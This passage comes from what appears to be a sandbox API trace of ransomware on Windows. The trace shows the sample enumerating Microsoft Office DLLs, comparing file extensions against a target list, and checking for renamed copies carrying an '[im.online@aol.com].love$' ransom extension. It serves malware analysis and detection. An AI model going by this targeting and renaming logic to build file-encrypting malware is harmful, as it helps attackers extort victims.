office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.591] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=19136) returned 1 [0243.592] CloseHandle (hObject=0x548) returned 1 [0243.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0243.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0243.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0243.592] lstrlenW (lpString=".doc") returned 4 [0243.592] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.592] lstrlenW (lpString=".docx") returned 5 [0243.592] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.592] lstrlenW (lpString=".pdf") returned 4 [0243.592] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.592] lstrlenW (lpString=".xls") returned 4 [0243.592] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.592] lstrlenW (lpString=".xlsx") returned 5 [0243.592] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.592] lstrlenW (lpString=".ppt") returned 4 [0243.592] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0243.592] lstrlenW (lpString=".zip") returned 4 [0243.592] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.593] lstrlenW (lpString=".rar") returned 4 [0243.593] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.593] lstrlenW (lpString=".bz2") returned 4 [0243.593] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.593] lstrlenW (lpString=".7z") returned 3 [0243.593] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0243.593] lstrlenW (lpString=".dbf") returned 4 [0243.593] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0243.593] lstrlenW (lpString=".1cd") returned 4 [0243.593] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0243.593] lstrlenW (lpString=".jpg") returned 4 [0243.593] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0243.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0243.593] lstrlenW (lpString=".doc") returned 4 [0243.593] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.593] lstrlenW (lpString=".docx") returned 5 [0243.593] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.593] lstrlenW (lpString=".pdf") returned 4 [0243.593] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.593] lstrlenW (lpString=".xls") returned 4 [0243.593] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.593] lstrlenW (lpString=".xlsx") returned 5 [0243.593] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.593] lstrlenW (lpString=".ppt") returned 4 [0243.593] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0243.593] lstrlenW (lpString=".zip") returned 4 [0243.593] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.594] lstrlenW (lpString=".rar") returned 4 [0243.594] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.594] lstrlenW (lpString=".bz2") returned 4 [0243.594] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.594] lstrlenW (lpString=".7z") returned 3 [0243.594] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0243.594] lstrlenW (lpString=".dbf") returned 4 [0243.594] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0243.594] lstrlenW (lpString=".1cd") returned 4 [0243.594] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0243.594] lstrlenW (lpString=".jpg") returned 4 [0243.594] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.594] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0243.594] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0243.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.595] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=18624) returned 1 [0243.595] CloseHandle (hObject=0x548) returned 1 [0243.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0243.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0243.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0243.596] lstrlenW (lpString=".doc") returned 4 [0243.596] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.596] lstrlenW (lpString=".docx") returned 5 [0243.596] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.596] lstrlenW (lpString=".pdf") returned 4 [0243.596] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.596] lstrlenW (lpString=".xls") returned 4 [0243.596] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.596] lstrlenW (lpString=".xlsx") returned 5 [0243.596] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.596] lstrlenW (lpString=".ppt") returned 4 [0243.596] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0243.596] lstrlenW (lpString=".zip") returned 4 [0243.596] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.597] lstrlenW (lpString=".rar") returned 4 [0243.597] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.597] lstrlenW (lpString=".bz2") returned 4 [0243.597] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.597] lstrlenW (lpString=".7z") returned 3 [0243.597] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0243.597] lstrlenW (lpString=".dbf") returned 4 [0243.597] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0243.597] lstrlenW (lpString=".1cd") returned 4 [0243.597] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0243.597] lstrlenW (lpString=".jpg") returned 4 [0243.597] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0243.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0243.597] lstrlenW (lpString=".doc") returned 4 [0243.597] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.597] lstrlenW (lpString=".docx") returned 5 [0243.597] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.597] lstrlenW (lpString=".pdf") returned 4 [0243.597] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.597] lstrlenW (lpString=".xls") returned 4 [0243.597] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.597] lstrlenW (lpString=".xlsx") returned 5 [0243.597] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.597] lstrlenW (lpString=".ppt") returned 4 [0243.597] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0243.597] lstrlenW (lpString=".zip") returned 4 [0243.597] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.598] lstrlenW (lpString=".rar") returned 4 [0243.598] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.598] lstrlenW (lpString=".bz2") returned 4 [0243.598] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.598] lstrlenW (lpString=".7z") returned 3 [0243.598] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0243.598] lstrlenW (lpString=".dbf") returned 4 [0243.598] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0243.598] lstrlenW (lpString=".1cd") returned 4 [0243.598] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0243.598] lstrlenW (lpString=".jpg") returned 4 [0243.598] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.598] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0243.598] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0243.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.599] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11616) returned 1 [0243.599] CloseHandle (hObject=0x548) returned 1 [0243.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0243.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0243.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0243.599] lstrlenW (lpString=".doc") returned 4 [0243.600] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.600] lstrlenW (lpString=".docx") returned 5 [0243.600] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.600] lstrlenW (lpString=".pdf") returned 4 [0243.600] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.600] lstrlenW (lpString=".xls") returned 4 [0243.600] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.600] lstrlenW (lpString=".xlsx") returned 5 [0243.600] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.600] lstrlenW (lpString=".ppt") returned 4 [0243.600] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0243.600] lstrlenW (lpString=".zip") returned 4 [0243.600] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.600] lstrlenW (lpString=".rar") returned 4 [0243.600] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.600] lstrlenW (lpString=".bz2") returned 4 [0243.600] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.600] lstrlenW (lpString=".7z") returned 3 [0243.600] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0243.600] lstrlenW (lpString=".dbf") returned 4 [0243.600] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0243.600] lstrlenW (lpString=".1cd") returned 4 [0243.600] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0243.600] lstrlenW (lpString=".jpg") returned 4 [0243.600] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0243.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0243.601] lstrlenW (lpString=".doc") returned 4 [0243.601] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.601] lstrlenW (lpString=".docx") returned 5 [0243.601] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.601] lstrlenW (lpString=".pdf") returned 4 [0243.601] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.601] lstrlenW (lpString=".xls") returned 4 [0243.601] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.601] lstrlenW (lpString=".xlsx") returned 5 [0243.601] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.601] lstrlenW (lpString=".ppt") returned 4 [0243.601] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0243.601] lstrlenW (lpString=".zip") returned 4 [0243.601] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.601] lstrlenW (lpString=".rar") returned 4 [0243.601] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.601] lstrlenW (lpString=".bz2") returned 4 [0243.601] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.601] lstrlenW (lpString=".7z") returned 3 [0243.601] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0243.601] lstrlenW (lpString=".dbf") returned 4 [0243.601] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0243.601] lstrlenW (lpString=".1cd") returned 4 [0243.601] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0243.601] lstrlenW (lpString=".jpg") returned 4 [0243.601] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.602] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0243.602] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0243.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.602] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=19648) returned 1 [0243.602] CloseHandle (hObject=0x548) returned 1 [0243.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0243.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0243.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0243.603] lstrlenW (lpString=".doc") returned 4 [0243.603] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.603] lstrlenW (lpString=".docx") returned 5 [0243.603] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.603] lstrlenW (lpString=".pdf") returned 4 [0243.603] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.603] lstrlenW (lpString=".xls") returned 4 [0243.603] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.603] lstrlenW (lpString=".xlsx") returned 5 [0243.603] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.603] lstrlenW (lpString=".ppt") returned 4 [0243.603] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0243.603] lstrlenW (lpString=".zip") returned 4 [0243.603] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.603] lstrlenW (lpString=".rar") returned 4 [0243.603] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.603] lstrlenW (lpString=".bz2") returned 4 [0243.603] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.603] lstrlenW (lpString=".7z") returned 3 [0243.603] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0243.603] lstrlenW (lpString=".dbf") returned 4 [0243.603] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0243.604] lstrlenW (lpString=".1cd") returned 4 [0243.604] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0243.604] lstrlenW (lpString=".jpg") returned 4 [0243.604] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0243.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0243.604] lstrlenW (lpString=".doc") returned 4 [0243.604] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.604] lstrlenW (lpString=".docx") returned 5 [0243.604] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.604] lstrlenW (lpString=".pdf") returned 4 [0243.604] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.604] lstrlenW (lpString=".xls") returned 4 [0243.604] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.604] lstrlenW (lpString=".xlsx") returned 5 [0243.604] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.604] lstrlenW (lpString=".ppt") returned 4 [0243.604] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0243.604] lstrlenW (lpString=".zip") returned 4 [0243.604] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.604] lstrlenW (lpString=".rar") returned 4 [0243.604] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.604] lstrlenW (lpString=".bz2") returned 4 [0243.604] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.604] lstrlenW (lpString=".7z") returned 3 [0243.604] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0243.605] lstrlenW (lpString=".dbf") returned 4 [0243.605] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0243.605] lstrlenW (lpString=".1cd") returned 4 [0243.605] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0243.605] lstrlenW (lpString=".jpg") returned 4 [0243.605] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.605] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0243.605] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0243.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.608] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=22720) returned 1 [0243.608] CloseHandle (hObject=0x548) returned 1 [0243.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0243.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0243.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0243.608] lstrlenW (lpString=".doc") returned 4 [0243.609] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.609] lstrlenW (lpString=".docx") returned 5 [0243.609] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.609] lstrlenW (lpString=".pdf") returned 4 [0243.609] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.609] lstrlenW (lpString=".xls") returned 4 [0243.609] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.609] lstrlenW (lpString=".xlsx") returned 5 [0243.609] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.609] lstrlenW (lpString=".ppt") returned 4 [0243.609] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.609] lstrlenW 